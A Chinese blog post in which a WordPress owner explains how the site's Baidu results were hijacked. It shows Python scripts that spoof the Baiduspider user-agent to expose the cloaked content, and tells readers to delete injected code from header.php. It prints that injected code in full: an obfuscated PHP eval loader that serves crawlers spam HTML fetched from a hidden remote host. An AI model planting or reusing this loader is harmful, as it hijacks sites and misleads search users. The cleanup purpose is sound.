摘要
今天在百度查看我wordpress博客网站,发现不能劲,原因是百度搜索显示的是我的网站标题和网站描述内容,但点击进去的时候,却跳转到了别人的网站上,我知道网站被劫持了,我找了下原因,原因是这wordpress漏洞太多,导致被挂马,解决方法是找到header.php,把挂的代码删除,具体请查看本篇详细内容
今天发现我的wordpress程序被挂马了,百度快照被劫持
百度搜索显示的是我的网站,但点击的时候,却跳转到别人的网站中,很多页面都是如此
也就是说我的网站关键词,都被他们劫持利用了,还导致我的博客排名下降
这马,不影响你正常的访问,只对百度蜘蛛做了判断,如果是百度蜘蛛来爬的时候,就会给蜘蛛喂他们代码中准备好的HTML代码段,如果是人为正常访问,正不影响,而且你也看不出你的网站被挂马,这是有针对百度搜索的挂马。
既然已经知道了马,那我们就用技术的方式,把他暴露出来吧,用python就能爬出被挂的内容了 :
首先,用requests模拟人为正常访问,代码如下:
#!/usr/bin/env python
#coding=utf-8
__author__ = '戴儒锋'
import requests
url = "http://www.linuxyw.com"
r = requests.get(url)
print r.content
看到打印出来的HTML代码,是正常的,没有异常内容
前面我说过,这马是针对百度蜘蛛的,所以要添加header信息,把user-agent改成百度蜘蛛就行了,修改后的代码如下(这百度蜘蛛的user-agnet,可以打开网站日志,搜索baidu就出来了):
#!/usr/bin/env python
#coding=utf-8
__author__ = '戴儒锋'
import requests
headers = {
# 模拟百度蜘蛛
"User-Agent": "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)"
}
url = "http://www.linuxyw.com"
r = requests.get(url,headers=headers)
print r.content
现在再看看打印出来的内容,发现代码有很多异常的内容,这内容不属于我们的,多出来的内容如下图:
百度劫持内容
原理知道了,那我们就找出代码,删掉它,登陆后台,点击“外观”-- “编辑” 在页面右边选择你的主题,再点击“主题页眉 (header.php)”,大概如下图(我使用的主题是:Ality )
百度快照劫持代码
看上图到的第三步的代码,就是被加密后的程序,只要把下面这段代码删除,就好了,然后再用python摸拟百度蜘蛛再爬一下网站,发现已经没有异常了
$OOO000000=urldecode('%66%67%36%73%62%65%68%70%72%61%34%63%6f%5f%74%6e%64');$OOO0000O0=$OOO000000{4}.$OOO000000{9}.$OOO000000{3}.$OOO000000{5};$OOO0000O0.=$OOO000000{2}.$OOO000000{10}.$OOO000000{13}.$OOO000000{16};$OOO0000O0.=$OOO0000O0{3}.$OOO000000{11}.$OOO000000{12}.$OOO0000O0{7}.$OOO000000{5};$OOO000O00=$OOO000000{0}.$OOO000000{12}.$OOO000000{7}.$OOO000000{5}.$OOO000000{15};$O0O000O00=$OOO000000{0}.$OOO000000{1}.$OOO000000{5}.$OOO000000{14};$O0O000O0O=$O0O000O00.$OOO000000{11};$O0O000O00=$O0O000O00.$OOO000000{3};$O0O00OO00=$OOO000000{0}.$OOO000000{8}.$OOO000000{5}.$OOO000000{9}.$OOO000000{16};$OOO00000O=$OOO000000{3}.$OOO000000{14}.$OOO000000{8}.$OOO000000{14}.$OOO000000{8};$OOO0O0O00=__FILE__;$OO00O0000=0x10b4;eval($OOO0000O0('aWYgKHByZWdfbWF0Y2goJy9nb29nbGV8eWFob298bXNufHJvYm90fGJpbmd8YW9sfHNwaWRlci9pJywgJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKSl7JHJvb3QgPSAiaHR0cDovLyIuaGV4ZGVjKCI1MiIpLmNocigiNDYiKS5iaW5kZWMoaGV4ZGVjKCIxMGYwNWUiKSkuY2hyKCI0NiIpLm9jdGRlYyhoZXhkZWMoIjE0IikpLmNocigiNDYiKS5iaW5kZWMoaGV4ZGVjKCJmNjk1MSIpKTskcHJvamVjdCA9ICI8IS0tIEhUTUwgMy41MS44MSAtLT4iO2lmIChAZXh0ZW5zaW9uX2xvYWRlZCgnY3VybCcpKXskbWV0aG9kID0gImN1cmwiO31lbHNleyRtZXRob2QgPSAiZmdjIjt9JHNlcnZlcl9ob3N0ID0gQCRfU0VSVkVSWydIVFRQX0hPU1QnXTskdXJsID0gJHJvb3QuIi9fZG9vcndheXMvbWFwLyRzZXJ2ZXJfaG9zdC5odG1sIjskdXJsMiA9ICRyb290LiIvX2Rvb3J3YXlzL21hcC9tYXAuaHRtbCI7JG1hcCA9IGdldFVybCgkdXJsLCAkbWV0aG9kKTtpZiAocHJlZ19tYXRjaCgnL2hyZWYvaScsICRtYXApKXtlY2hvICRtYXAuJHByb2plY3Q7fWVsc2V7JG1hcCA9IGdldFVybCgkdXJsMiwgJG1ldGhvZCk7ZWNobyAkbWFwLiRwcm9qZWN0O319ZnVuY3Rpb24gZ2V0VXJsKCR1cmwsICRtZXRob2Qpe2lmICgkbWV0aG9kPT0nY3VybCcpeyRjdXJsPUBjdXJsX2luaXQoKTtAY3VybF9zZXRvcHQoJGN1cmwsQ1VSTE9QVF9VUkwsJHVybCk7QGN1cmxfc2V0b3B0KCRjdXJsLENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsMSk7QGN1cmxfc2V0b3B0KCRjdXJsLENVUkxPUFRfQ09OTkVDVFRJTUVPVVQsMTUpO0BjdXJsX3NldG9wdCgkY3VybCxDVVJMT1BUX1RJTUVPVVQsMTUpO0BjdXJsX3NldG9wdCgkY3VybCxDVVJMT1BUX1ZFUkJPU0UsMCk7QGN1cmxfc2V0b3B0KCRjdXJsLENVUkxPUFRfSEVBREVSLDApO0BjdXJsX3NldG9wdCgkY3VybCxDVVJMT1BUX05PQk9EWSwwKTtAY3VybF9zZXRvcHQoJGN1cmwsQ1VSTE9QVF9GT0xMT1dMT0NBVElPTiwxKTskaHRtbD1AY3VybF9leGVjKCRjdXJsKTtAY3VybF9jbG9zZSgkY3VybCk7cmV0dXJuICRodG1sO31lbHNleyRodG1sPUBmaWxlX2dldF9jb250ZW50cygkdXJsKTtyZXR1cm4gJGh0bWw7fX0='));
?>